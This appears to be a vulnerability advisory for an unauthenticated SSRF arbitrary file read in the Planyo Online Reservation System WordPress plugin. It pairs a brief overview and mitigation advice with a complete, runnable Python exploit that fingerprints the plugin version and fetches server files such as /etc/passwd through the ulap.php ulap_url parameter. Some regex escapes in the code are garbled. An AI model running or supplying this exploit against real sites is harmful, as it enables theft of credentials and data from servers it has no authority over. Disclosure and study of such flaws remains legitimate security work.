Overview
The Planyo Online Reservation System (version 3.0) has been identified with a critical vulnerability, designated as CVE-2026-3576. This flaw is categorized as an Arbitrary File Read via Server-Side Request Forgery (SSRF), which allows unauthorized users to access sensitive files on the server, potentially leading to data leakage and system compromise.
Technical Details
This vulnerability arises from improper validation of user input within the Planyo system. An attacker can exploit the SSRF mechanism by crafting a request that targets internal resources or files on the server. When the application processes this request, it inadvertently retrieves files that should be restricted, such as configuration files, password files, or database backups.
For example, by manipulating the request parameters, an attacker could access files like /etc/passwd or application configuration files containing database credentials. This exploitation can occur without authentication, making it particularly dangerous for exposed servers.
Impact
The consequences of CVE-2026-3576 can be severe. Successful exploitation may lead to the disclosure of sensitive information, including user data and application secrets. In worst-case scenarios, this could facilitate further attacks, such as privilege escalation or full system compromise, thereby jeopardizing the integrity and confidentiality of the entire application.
Mitigation
To protect against this vulnerability, organizations using the Planyo Online Reservation System should immediately update to the latest version that addresses this flaw. Additionally, implementing strict input validation and sanitization on all user inputs can significantly reduce the risk of SSRF attacks.
Security professionals should also consider deploying web application firewalls (WAF) to monitor and filter malicious requests. Regular security audits and penetration testing are recommended to identify and remediate potential vulnerabilities proactively. Establishing a robust incident response plan will also help mitigate the impact of any successful exploitation.
Proof of Concept (PoC)
# Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF
# Date: 12-07-2026
# Exploit Author: Balachandar Gowrisankar
# Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/
# Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
# Version: <= 3.0
# Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14
# CVE: CVE-2026-3576
# CVSS Score: 7.2
# Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
import argparse
import requests
import re
def version_check(base_url):
readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt"
response = requests.get(readme_url)
text = response.text
match = re.search(r"==s*Changelogs*==(.*)", text, re.DOTALL | re.IGNORECASE)
if match:
changelog = match.group(1)
versions = re.findall(r"=s*v?([A-Za-z0-9._-]+)s*=", changelog)
if versions:
print("[+] Version found:", versions[-1])
if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable. Exiting.")
exit()
else:
print("[-] No versions found. Try skipping version check to see if exploit still works.")
exit()
else:
print("[-] No changelog section found. Try skipping version check to see if exploit still works.")
exit()
def read_file(base_url, file):
target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file
try:
response = requests.get(target_url)
response.raise_for_status()
print(response.text)
except requests.exceptions.HTTPError as e:
print(e)
def main():
parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576")
parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)")
parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd")
parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False")
args = parser.parse_args()
if not args.disable_check:
print("[*] Checking if target is vulnerable...")
version_check(args.base_url)
print("n[*] Attempting to read arbitrary file...n")
read_file(args.base_url, args.file)
if __name__ == "__main__":
main()